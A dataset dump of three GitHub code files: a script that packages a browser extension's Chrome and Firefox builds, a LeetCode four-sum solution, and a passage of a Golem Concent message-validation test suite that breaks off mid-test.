+{"seq_id":"237834273","text":"import shutil \nimport os.path\n\n# Creating the ZIP file\n\nChrome_dir = './Chrome'\nFireFox_dir = './FireFox'\n\narchived = shutil.make_archive('NT_Chrome', 'zip', Chrome_dir)\n\nshutil.copyfile(Chrome_dir+'/NewtubeMain.js', FireFox_dir+'/NewtubeMain.js')\n\nGetVersion = None\n\nwith open(Chrome_dir+'/manifest.json') as Chromefile:\n lines = Chromefile.readlines()\n if (4 <= len(lines)):\n GetVersion = lines[4 - 1]\n\ndef replace_line(filename, line_number, text):\n \n # Open the file and read all the lines from the file into a list 'lines'\n with open(filename) as file:\n lines = file.readlines()\n \n # if the line number is in the file, we can replace it successfully\n if (line_number <= len(lines)):\n \n # Replace the associated line in the list with the replacement text \n # (followed by a newline \\n to end the line), we need to use line_number - 1\n # as the index because lists are zero-indexed in Python.\n lines[line_number - 1] = text\n \n # Open the file in 'writing mode' using the 2nd argument \"w\", this means \n # that the file will be made blank, and any new text we write to the file \n # will become the new file contents.\n with open(filename, \"w\") as file:\n\n # Loop through the list of lines, write each of them to the file\n for line in lines:\n file.write(line)\n \n # otherwise if the line number is past the length of the file, we can't \n # replace the line so output an error message instead\n else:\n \n # Output the line number that was requested to be replaced and the number\n # of lines the file actually has to inform the user\n print(\"Line\", line_number, \"not in file.\")\n print(\"File has\", len(lines), \"lines.\")\n\n# Prompt the user for the filename, line number and replacement text\n\nreplace_line(FireFox_dir+'/manifest.json', 4, GetVersion)\n \narchived = shutil.make_archive('NT_FireFox', 'zip', FireFox_dir)\n","repo_name":"AzPepoze/Newtube","sub_path":"NewtubeAutoPack.py","file_name":"NewtubeAutoPack.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"27"}
+{"seq_id":"40556955687","text":"\"\"\"给定一个包含 n 个整数的数组 nums 和一个目标值 target，判断 nums 中是否存在四个元素 a，b，c 和 d ，使得 a + b + c + d\n的值与 target 相等？找出所有满足条件且不重复的四元组。\n注意：\n答案中不可以包含重复的四元组。\n\n示例：\n给定数组 nums = [1, 0, -1, 0, -2, 2]，和 target = 0。\n满足要求的四元组集合为：\n[\n [-1, 0, 0, 1],\n [-2, -1, 1, 2],\n [-2, 0, 0, 2]\n]\n\"\"\"\n\n\nclass Solution:\n def fourSum(self, nums, target):\n import collections, itertools\n two_sum = collections.defaultdict(list) # list 返回[], int 返回的是 0\n res = set() # 集合添加元素 set.add()\n for (n1, i1), (n2, i2) in itertools.combinations(enumerate(nums), 2):\n two_sum[i1+i2].append({n1, n2}) # 列表[]中append：集合【该键值a+b，可能有多个集合的下标】如：{0：[{0,2},{1,3},{4,5}],....}\n for t in list(two_sum.keys()): # Python3 字典 keys()方法返回一个可迭代对象，可以使用 list() 来转换为列表。\n if not two_sum[target-t]: # 没有默认返回的是 []\n continue\n for pair1 in two_sum[t]: # 已经确认该键t(a+b)下，有另外一对键target-t满足题意的情况下，遍历该键t的值列表\n for pair2 in two_sum[target-t]: # 如t=0，则two_sum[t]为列表 [{0,2},{1,3},{4,5}]，依次遍历\n if pair1.isdisjoint(pair2): # set.isdisjoint(set) 判断两个集合是否包含相同的元素，如果没有返回 True，否则返回 False\n res.add(tuple(sorted([nums[i] for i in pair1 | pair2]))) # 并集。sorted返回的是列表不能被集合hash，要转成元组tuple。两集合 x&y交集 x|y并集 x-y差集\n del two_sum[t] # 删除字典中已经遍历的项\n return [list(r) for r in res] # return a list of lists of length 4, [[val1,val2,val3,val4]]\n\n\n# print(list(enumerate([-2, -1, 0, 0, 1, 2]))) # [(0, -2), (1, -1), (2, 0), (3, 0), (4, 1), (5, 2)]\n# disjoint 互斥的，不相交的\n\n\n","repo_name":"cp4011/Algorithms","sub_path":"LeetCode/18_四数字和.py","file_name":"18_四数字和.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"zh","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"}
+{"seq_id":"23485527129","text":"from unittest import TestCase\nfrom assertpy import assert_that\nimport mock\nimport pytest\nfrom freezegun import freeze_time\n\nfrom golem_messages.factories.concents import SubtaskResultsVerifyFactory\nfrom golem_messages.factories.tasks import ComputeTaskDefFactory\nfrom golem_messages.factories.tasks import ReportComputedTaskFactory\nfrom golem_messages.factories.tasks import SubtaskResultsAcceptedFactory\nfrom golem_messages.factories.tasks import TaskToComputeFactory\nfrom golem_messages.factories.tasks import WantToComputeTaskFactory\nfrom golem_messages.message.concents import ForceGetTaskResultFailed\nfrom golem_messages.message.concents import SubtaskResultsVerify\nfrom golem_messages.message.tasks import ReportComputedTask\nfrom golem_messages.message.tasks import SubtaskResultsRejected\nfrom golem_messages.message.tasks import TaskToCompute\nfrom golem_messages.message.tasks import WantToComputeTask\nfrom golem_messages.utils import encode_hex\nfrom golem_messages.utils import pubkey_to_address\n\nfrom django.conf import settings\n\nfrom common.constants import ErrorCode\nfrom common.exceptions import ConcentValidationError\nfrom common.exceptions import NonPositivePriceTaskToComputeError\nfrom common.helpers import sign_message\nfrom common.testing_helpers import generate_ecc_key_pair\nfrom common.testing_helpers import generate_priv_and_pub_eth_account_key\nfrom common.validations import validate_secure_hash_algorithm\n\nfrom core.constants import ETHEREUM_ADDRESS_LENGTH\nfrom core.constants import MESSAGE_TASK_ID_MAX_LENGTH\nfrom core.exceptions import FrameNumberValidationError\nfrom core.exceptions import GolemMessageValidationError\nfrom core.exceptions import HashingAlgorithmError\nfrom core.subtask_helpers import are_keys_and_addresses_unique_in_message_subtask_results_accepted\nfrom core.subtask_helpers import are_subtask_results_accepted_messages_signed_by_the_same_requestor\nfrom core.tests.utils import ConcentIntegrationTestCase\nfrom core.tests.utils import generate_uuid_for_tests\nfrom core.validation import validate_all_messages_identical\nfrom core.validation import validate_blender_output_format\nfrom core.validation import validate_blender_script_parameters\nfrom core.validation import validate_crops\nfrom core.validation import validate_resolution\nfrom core.validation import validate_samples\nfrom core.validation import validate_use_compositing\nfrom core.validation import validate_compute_task_def\nfrom core.validation import validate_ethereum_addresses\nfrom core.validation import validate_frames\nfrom core.validation import validate_golem_message_subtask_results_rejected\nfrom core.validation import validate_positive_task_price\nfrom core.validation import validate_non_negative_integer_value\nfrom core.validation import validate_positive_integer_value\nfrom core.validation import validate_scene_file\nfrom core.validation import validate_subtask_results_rejected_reason\nfrom core.validation import validate_subtask_results_verify\nfrom core.validation import validate_task_to_compute\nfrom core.validation import validate_uuid\n\n\n(CONCENT_PRIVATE_KEY, CONCENT_PUBLIC_KEY) = generate_ecc_key_pair()\n(PROVIDER_PRIVATE_KEY, PROVIDER_PUBLIC_KEY) = generate_ecc_key_pair()\n(REQUESTOR_PRIVATE_KEY, REQUESTOR_PUBLIC_KEY) = generate_ecc_key_pair()\n(DIFFERENT_PROVIDER_PRIVATE_KEY, DIFFERENT_PROVIDER_PUBLIC_KEY) = generate_ecc_key_pair()\n(DIFFERENT_REQUESTOR_PRIVATE_KEY, DIFFERENT_REQUESTOR_PUBLIC_KEY) = generate_ecc_key_pair()\n(PROVIDER_PRIV_ETH_KEY, PROVIDER_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(REQUESTOR_PRIV_ETH_KEY, REQUESTOR_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(DIFFERENT_PROVIDER_PRIV_ETH_KEY, DIFFERENT_PROVIDER_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n(DIFFERENT_REQUESTOR_PRIV_ETH_KEY, DIFFERENT_REQUESTOR_PUB_ETH_KEY) = generate_priv_and_pub_eth_account_key()\n\n\nclass TestValidateGolemMessageSubtaskResultsRejected(TestCase):\n def test_that_exception_is_raised_when_subtask_results_rejected_is_of_wrong_type(self):\n with self.assertRaises(ConcentValidationError):\n validate_golem_message_subtask_results_rejected(None)\n\n def test_that_exception_is_raised_when_subtask_results_rejected_contains_invalid_task_to_compute(self):\n task_to_compute = TaskToCompute(want_to_compute_task=WantToComputeTask())\n report_computed_task = ReportComputedTask(task_to_compute=task_to_compute)\n subtask_results_rejected = SubtaskResultsRejected(report_computed_task=report_computed_task)\n with self.assertRaises(ConcentValidationError):\n validate_golem_message_subtask_results_rejected(subtask_results_rejected)\n\n\nclass ValidatorsTest(TestCase):\n def test_that_function_raises_exception_when_ethereum_addres_has_wrong_type(self):\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses(int('1' * ETHEREUM_ADDRESS_LENGTH), 'a' * ETHEREUM_ADDRESS_LENGTH)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * ETHEREUM_ADDRESS_LENGTH, int('1' * ETHEREUM_ADDRESS_LENGTH))\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses(int('1' * ETHEREUM_ADDRESS_LENGTH), int('1' * ETHEREUM_ADDRESS_LENGTH))\n\n def test_that_function_raises_exception_when_ethereum_addres_has_wrong_length(self):\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * 5, 'b' * 5)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * 5, 'b' * ETHEREUM_ADDRESS_LENGTH)\n\n with self.assertRaises(ConcentValidationError):\n validate_ethereum_addresses('a' * ETHEREUM_ADDRESS_LENGTH, 'b' * 5)\n\n\nclass TestIntegerValidations:\n\n @pytest.mark.parametrize(('value', 'error_code'), [\n ('5', ErrorCode.MESSAGE_VALUE_WRONG_TYPE),\n (-5, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n (0, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n ]) # pylint: disable=no-self-use\n def test_that_validate_positive_integer_function_raise_exception_when_wrong_value_given(self, value, error_code):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_positive_integer_value(value)\n assert_that(exception_wrapper.value.error_code).is_equal_to(error_code)\n\n @pytest.mark.parametrize(('value', 'error_code'), [\n ('5', ErrorCode.MESSAGE_VALUE_WRONG_TYPE),\n (-5, ErrorCode.MESSAGE_VALUE_NEGATIVE),\n ]) # pylint: disable=no-self-use\n def test_that_validate_non_negative_integer_function_raise_exception_when_wrong_value_given(self, value, error_code):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_non_negative_integer_value(value)\n assert_that(exception_wrapper.value.error_code).is_equal_to(error_code)\n\n def test_that_validate_positive_price_value_causes_non_positive_price_error(self): # pylint: disable=no-self-use\n with pytest.raises(NonPositivePriceTaskToComputeError):\n validate_positive_task_price(0)\n\n\nclass TestValidateAllMessagesIdentical(ConcentIntegrationTestCase):\n\n def setUp(self):\n super().setUp()\n self.report_computed_task = self._get_deserialized_report_computed_task()\n\n def test_that_function_pass_when_in_list_is_one_item(self):\n\n try:\n validate_all_messages_identical([self.report_computed_task])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_function_pass_when_in_list_are_two_same_report_computed_task(self):\n try:\n validate_all_messages_identical([self.report_computed_task, self.report_computed_task])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_function_raise_http400_when_any_slot_will_be_different_in_messages(self):\n different_report_computed_task = self._get_deserialized_report_computed_task(size = 10)\n with self.assertRaises(ConcentValidationError):\n validate_all_messages_identical([self.report_computed_task, different_report_computed_task])\n\n\nUUID: str = generate_uuid_for_tests()\n\n\nclass TestValidateIdValue:\n\n @pytest.mark.parametrize('id_', [\n UUID.replace('-', ''),\n UUID,\n ]) # pylint: disable=no-self-use\n def test_that_function_should_pass_when_value_is_allowed(self, id_):\n\n try:\n validate_uuid(id_)\n except Exception as exception: # pylint: disable=broad-except\n pytest.fail(f'{exception}')\n\n @pytest.mark.parametrize('id_', [\n f'{UUID}{UUID}',\n UUID[1:],\n UUID[:-1],\n UUID + '1',\n '',\n ]) # pylint: disable=no-self-use\n def test_that_function_should_raise_exception_when_value_is_not_allowed(self, id_):\n\n with pytest.raises(ConcentValidationError) as exception:\n validate_uuid(id_)\n assert_that(exception.value.error_code).is_equal_to(ErrorCode.MESSAGE_WRONG_UUID_VALUE)\n\n @pytest.mark.parametrize('id_', [\n int('1' * MESSAGE_TASK_ID_MAX_LENGTH),\n None\n ]) # pylint: disable=no-self-use\n def test_that_function_should_raise_exception_when_type_is_not_allowed(self, id_):\n\n with pytest.raises(ConcentValidationError) as exception:\n validate_uuid(id_)\n assert_that(exception.value.error_code).is_equal_to(ErrorCode.MESSAGE_WRONG_UUID_TYPE)\n\n\nclass TestInvalidHashAlgorithms(TestCase):\n\n def test_that_validation_should_raise_exception_when_checksum_is_invalid(self):\n invalid_values_with_expected_error_code = {\n 123456789: ErrorCode.MESSAGE_FILES_CHECKSUM_WRONG_TYPE,\n '': ErrorCode.MESSAGE_FILES_CHECKSUM_EMPTY,\n 'sha14452d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_WRONG_FORMAT,\n 'sha2:4452d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_ALGORITHM,\n 'sha1:xyz2d71687b6bc2c9389c3349fdc17fbd73b833b': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_SHA1_HASH,\n 'sha1:': ErrorCode.MESSAGE_FILES_CHECKSUM_INVALID_SHA1_HASH,\n }\n for invalid_value, error_code in invalid_values_with_expected_error_code.items():\n with self.assertRaises(HashingAlgorithmError) as context:\n validate_secure_hash_algorithm(invalid_value)\n self.assertEqual(context.exception.error_code, error_code)\n\n\nclass TestAreEthereumAddressesAndKeysUnique(TestCase):\n\n def setUp(self):\n self.task_to_compute_1 = TaskToComputeFactory(\n requestor_ethereum_public_key=encode_hex(REQUESTOR_PUB_ETH_KEY),\n requestor_public_key=encode_hex(REQUESTOR_PUBLIC_KEY),\n want_to_compute_task=WantToComputeTaskFactory(\n provider_public_key=encode_hex(PROVIDER_PUBLIC_KEY),\n ),\n )\n self.task_to_compute_1.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n self.task_to_compute_2 = TaskToComputeFactory(\n requestor_ethereum_public_key=encode_hex(REQUESTOR_PUB_ETH_KEY),\n requestor_public_key=encode_hex(REQUESTOR_PUBLIC_KEY),\n want_to_compute_task=WantToComputeTaskFactory(\n provider_public_key=encode_hex(PROVIDER_PUBLIC_KEY),\n ),\n )\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n\n def create_subtask_results_accepted_list( # pylint: disable=no-self-use\n self,\n task_to_compute_1,\n task_to_compute_2,\n subtask_1_signed_by=REQUESTOR_PRIVATE_KEY,\n subtask_2_signed_by=REQUESTOR_PRIVATE_KEY,\n ) -> list:\n with freeze_time():\n subtask_results_accepted_1 = SubtaskResultsAcceptedFactory(\n report_computed_task=ReportComputedTaskFactory(\n task_to_compute=task_to_compute_1\n )\n )\n sign_message(subtask_results_accepted_1, subtask_1_signed_by)\n subtask_results_accepted_2 = SubtaskResultsAcceptedFactory(\n report_computed_task=ReportComputedTaskFactory(\n task_to_compute=task_to_compute_2\n )\n )\n sign_message(subtask_results_accepted_2, subtask_2_signed_by)\n subtask_results_accepted_list = [\n subtask_results_accepted_1,\n subtask_results_accepted_2,\n ]\n return subtask_results_accepted_list\n\n def test_that_if_the_same_values_given_method_should_return_true(self):\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_true()\n\n def test_that_if_different_requestor_ethereum_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.requestor_ethereum_public_key = encode_hex(DIFFERENT_REQUESTOR_PUB_ETH_KEY)\n self.task_to_compute_2.generate_ethsig(DIFFERENT_REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_requestor_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.requestor_public_key = encode_hex(DIFFERENT_REQUESTOR_PUBLIC_KEY)\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_provider_ethereum_addresses_are_given_method_should_return_false(self):\n self.task_to_compute_2.want_to_compute_task.provider_ethereum_address = pubkey_to_address(\n DIFFERENT_PROVIDER_PUB_ETH_KEY\n )\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_different_provider_public_keys_are_given_method_should_return_false(self):\n self.task_to_compute_2.want_to_compute_task.provider_public_key = encode_hex(DIFFERENT_PROVIDER_PUBLIC_KEY)\n self.task_to_compute_2.generate_ethsig(REQUESTOR_PRIV_ETH_KEY)\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n )\n result = are_keys_and_addresses_unique_in_message_subtask_results_accepted(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n def test_that_if_messages_are_signed_by_different_requestors_method_should_return_false(self):\n subtask_results_accepted_list = self.create_subtask_results_accepted_list(\n self.task_to_compute_1,\n self.task_to_compute_2,\n subtask_2_signed_by=DIFFERENT_REQUESTOR_PRIVATE_KEY,\n )\n result = are_subtask_results_accepted_messages_signed_by_the_same_requestor(subtask_results_accepted_list)\n assert_that(result).is_false()\n\n\nclass TestFramesListValidation(TestCase):\n\n def test_that_list_of_ints_is_valid(self):\n try:\n validate_frames([1, 2])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_if_frames_is_not_a_list_of_ints_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames({'1': 1})\n\n with self.assertRaises(FrameNumberValidationError):\n validate_frames((1, 2))\n\n def test_that_if_frames_are_not_grater_than_0_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames([-1, 1])\n\n with self.assertRaises(FrameNumberValidationError):\n validate_frames([0, 1])\n\n def test_that_if_frames_are_not_one_after_the_other_method_should_pass(self):\n try:\n validate_frames([1, 3, 5])\n except Exception: # pylint: disable=broad-except\n self.fail()\n\n def test_that_if_frames_are_not_integers_method_should_raise_exception(self):\n with self.assertRaises(FrameNumberValidationError):\n validate_frames(['1', '2'])\n\n\nclass TestValidateComputeTaskDef(object):\n compute_task_def = None\n\n @pytest.fixture(autouse=True)\n def setup(self):\n self.compute_task_def = ComputeTaskDefFactory()\n self.compute_task_def[\"extra_data\"] = {\n \"output_format\": \"PNG\",\n \"scene_file\": \"/golem/resources/nice_photo.blend\",\n \"frames\": [1, 2, 3],\n }\n\n def test_that_valid_compute_task_def_doesnt_raise_any_exception(self):\n try:\n validate_compute_task_def(self.compute_task_def)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_mising_extra_data_causes_message_validation_error(self):\n del self.compute_task_def['extra_data']\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"extra_data\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n \"missing_data\", [\n \"output_format\",\n \"scene_file\",\n \"frames\",\n ]\n )\n def test_that_missing_entries_in_extra_data_causes_message_validation_error(self, missing_data):\n del self.compute_task_def[\"extra_data\"][missing_data]\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"{missing_data}\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n \"value_with_wrong_type\", [\n \"output_format\",\n \"scene_file\",\n ]\n )\n def test_that_wrong_field_types_causes_message_validation_error(self, value_with_wrong_type):\n self.compute_task_def[\"extra_data\"][value_with_wrong_type] = mock.sentinel.wrongtype\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_compute_task_def(self.compute_task_def)\n assert_that(exception_wrapper.value.error_message).contains(f\"{value_with_wrong_type}\")\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_VALUE_NOT_STRING)\n\n\nclass TestValidateSceneFile:\n\n @pytest.mark.parametrize(\n 'scene_file', [\n '/golem/resources/scene_file.png',\n 'golem/resources/scene_file.blend',\n 'resources/abc/scene_file.blend',\n '/resources/abc/scene_file.blend',\n '/golem/scene_file.blend',\n ] # pylint: disable=no-self-use\n )\n def test_that_wrong_scene_file_name_causes_validation_error(self, scene_file): # pylint: disable=no-self-use\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_scene_file(scene_file)\n assert_that(exception_wrapper.value.error_message).contains(f'{scene_file}')\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'scene_file', [\n '/golem/resources/scene_file.blend',\n '/golem/resources/abc/scene_file.blend',\n ] # pylint: disable=no-self-use\n )\n def test_that_valid_scene_file_name_doesnt_raise_any_error(self, scene_file):\n try:\n validate_scene_file(scene_file)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateTaskToCompute(object):\n\n @pytest.fixture(autouse=True)\n def setUp(self):\n (REQUESTOR_ETHEREUM_PRIVATE_KEY, REQUESTOR_ETHERUM_PUBLIC_KEY) = generate_ecc_key_pair()\n self.task_to_compute = TaskToComputeFactory(requestor_ethereum_public_key=encode_hex(REQUESTOR_ETHERUM_PUBLIC_KEY))\n self.task_to_compute.generate_ethsig(REQUESTOR_ETHEREUM_PRIVATE_KEY)\n self.task_to_compute.sign_all_promissory_notes(\n deposit_contract_address=settings.GNT_DEPOSIT_CONTRACT_ADDRESS,\n private_key=REQUESTOR_ETHEREUM_PRIVATE_KEY,\n )\n\n def test_that_valid_task_to_compute_doesnt_raise_any_exception(self):\n try:\n validate_task_to_compute(self.task_to_compute)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_other_messages_than_task_to_compute_causes_message_validation_error(self): # pylint: disable=no-self-use\n wrong_message = ComputeTaskDefFactory()\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_task_to_compute(wrong_message)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n\nclass TestValidateOutputFormat:\n\n @pytest.mark.parametrize(\n 'output_format', [\n 'JPEG',\n 'PNG',\n 'EXR'\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_output_formats_dont_raise_any_exception(self, output_format):\n try:\n validate_blender_output_format(output_format)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n def test_that_unsupported_format_raises_concent_validation_error(self): # pylint: disable=no-self-use\n unsupported_format = 'BMP'\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_blender_output_format(unsupported_format)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_VALUE_NOT_ALLOWED)\n\n\nclass TestValidateSceneResolution:\n\n @pytest.mark.parametrize(\n 'resolution', [\n '400x400',\n [0, 0],\n [100, 0],\n [0, 100],\n [-100, 100],\n [100, -100],\n ['100', 100],\n [],\n ['400x800'],\n [71830.23, 1000],\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_resolution_value_raise_exception(self, resolution):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_resolution(resolution)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'resolution', [\n [1, 1],\n [100000000, 100000000],\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_resolution_value_doesnt_raise_exception(self, resolution):\n try:\n validate_resolution(resolution)\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneUseCompositing:\n\n @pytest.mark.parametrize(\n 'use_compositing', [\n 'True',\n 1,\n [True]\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_use_compositing_value_raise_exception(self, use_compositing):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_use_compositing(use_compositing)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'use_compositing', [\n True,\n False\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_use_compositing_value_doesnt_raise_exception(self, use_compositing):\n try:\n validate_use_compositing(use_compositing)\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneSamples:\n\n @pytest.mark.parametrize(\n 'samples', [\n [1],\n 1.2,\n '1',\n -1,\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_samples_value_raise_exception(self, samples):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_samples(samples)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'samples', [\n 0,\n 1,\n 1000000000,\n ]\n ) # pylint: disable=no-self-use\n def test_that_valid_samples_value_doesnt_raise_exception(self, samples):\n try:\n validate_samples(samples)\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n\nclass TestValidateSceneCrop:\n\n def create_crop_dict(self, borders_x, borders_y): # pylint: disable=no-self-use\n return dict(\n borders_x=borders_x,\n borders_y=borders_y,\n )\n\n @pytest.mark.parametrize(\n ['borders_x', 'borders_y'], [\n [[0.0, 1.0], [0.0, 1.0]],\n [[0.71830, 1.0], [0.9, 1.0]],\n ]\n )\n def test_that_valid_crops_value_doesnt_raise_exception(self, borders_x, borders_y):\n try:\n validate_crops([self.create_crop_dict(borders_x, borders_y)])\n except ConcentValidationError as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n @pytest.mark.parametrize(\n ['borders_x', 'borders_y'], [\n [[0, 1], [0.0, 1.0]],\n [[0.0, 1.0], [0, 1]],\n [[1.0, 1.0], [0.0, 1.0]],\n [[0.0, 1.0], [1.0, 1.0]],\n [[0.5, 0.4], [0.0, 1.0]],\n [[0.0, 1.0], [0.5, 0.4]],\n [[1.0], [0.1, 0.0]],\n [[0.0, 1.0], [1.0]],\n [[], [0.0, 1.0]],\n [[0.0, 1.0], []],\n [(0.0, 1.0), [0.0, 1.0]],\n [[0.0, 1.0], (0.0, 1.0)],\n [None, [0.0, 1.0]],\n [[0.0, 1.0], None],\n [[0.0, 2.0], [0.0, 1.0]],\n [[0.0, 1.0], [0.0, 2.0]],\n [[-1.0, 1.0], [0.0, 1.0]],\n [[0.0, 1.0], [-1.0, 1.0]],\n ]\n )\n def test_that_invalid_borders_values_in_crops_dict_raise_exception(self, borders_x, borders_y):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_crops([self.create_crop_dict(borders_x, borders_y)])\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n @pytest.mark.parametrize(\n 'crops', [\n [\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n ],\n (\n dict(borders_x=[0.0, 1.0], borders_y=[0.0, 1.0]),\n ),\n [\n dict(borders_x=[0.0, 1.0]),\n ],\n [\n dict(borders_y=[0.0, 1.0]),\n ]\n ]\n ) # pylint: disable=no-self-use\n def test_that_invalid_crops_list_raise_exception(self, crops):\n with pytest.raises(ConcentValidationError) as exception_wrapper:\n validate_crops(crops)\n assert_that(exception_wrapper.value.error_code).is_equal_to(ErrorCode.MESSAGE_INVALID)\n\n\n@mock.patch('core.validation.validate_use_compositing')\n@mock.patch('core.validation.validate_samples')\n@mock.patch('core.validation.validate_crops')\n@mock.patch('core.validation.validate_resolution')\nclass TestValidateBlenderScriptParameters:\n\n @pytest.fixture(autouse=True)\n def _create_blender_script_parameters(self, resolution=None, use_compositing=None, samples=None, crops=None): # pylint: disable=no-self-use\n return dict(\n resolution=resolution,\n use_compositing=use_compositing,\n samples=samples,\n crops=crops,\n )\n\n def test_that_valid_extra_data_doesnt_raise_exception(self, mocked_use_compositing_validator, mocked_samples_validator, mocked_crops_validator, mocked_resolution_validator):\n try:\n validate_blender_script_parameters(self._create_blender_script_parameters())\n except Exception as exception: # pylint: disable=broad-except\n assert False, f\"Unexpected exception has been raised: {str(exception)}\"\n\n assert_that(mocked_use_compositing_validator.called).is_true()\n assert_that(mocked_samples_validator.called).is_true()\n assert_that(mocked_crops_validator.called).is_true()\n assert_that(mocked_resolution_validator.called).is_true()\n\n @pytest.mark.parametrize(\n 'field_to_delete', [\n 'resolution',\n 'use_compositing',\n 'samples',\n 'crops',\n ]\n )\n def test_that_invalid_extra_data_raise_exception(self, mocked_use_compositing_validator, mocked_samples_validator, mocked_crops_validator, mocked_resolution_validator, field_to_delete):\n extra_data = self._create_blender_script_parameters()\n 